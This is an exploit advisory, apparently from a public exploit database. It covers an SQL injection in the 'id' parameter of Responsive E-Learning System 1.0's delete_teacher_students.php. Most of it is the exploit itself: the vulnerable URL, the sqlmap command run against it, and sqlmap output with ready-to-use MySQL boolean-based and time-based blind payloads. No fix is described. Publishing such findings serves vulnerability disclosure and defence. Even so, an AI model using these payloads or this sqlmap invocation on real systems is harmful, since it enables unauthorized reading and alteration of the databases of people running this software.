Responsive E-Learning System 1.0 - 'id' Sql Injection

# Exploit Title: Responsive E-Learning System 1.0 – 'id' Sql Injection
# Date: 2020-12-24
# Exploit Author: Kshitiz Raj(manitorpotterk)
# Vendor Homepage: https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Windows 10/Kali Linux

The 'id=' parameter in Responsive E-Learning System is vulnerable to Sql
Injection.

*Vulnerable Url : *http://localhost/elearning/delete_teacher_students.php?id=17
-p <http://localhost/elearning/delete_teacher_students.php?id=17%0D-p> id

# sqlmap -u
http://192.168.127.1//elearning/delete_teacher_students.php?id=17 -p id

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      |_|V...       |_|   http://sqlmap.org




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mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program



[*] starting @ 08:59:01 /2020-12-24/


08:59:33] [INFO] checking if the injection point on GET parameter 'id' is a
false positive

GET parameter 'id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y

sqlmap identified the following injection point(s) with a total of 402
HTTP(s) requests:

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Parameter: id (GET)

    Type: boolean-based blind

    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause

    Payload: id=17' RLIKE (SELECT (CASE WHEN (7532=7532) THEN 17 ELSE 0x28
END))-- YDSn



    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=17' AND (SELECT 4939 FROM (SELECT(SLEEP(5)))EQuU)-- RaGm

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[08:59:38] [INFO] the back-end DBMS is MySQL

web application technology: PHP 7.2.34, Apache 2.4.46

back-end DBMS: MySQL >= 5.0.12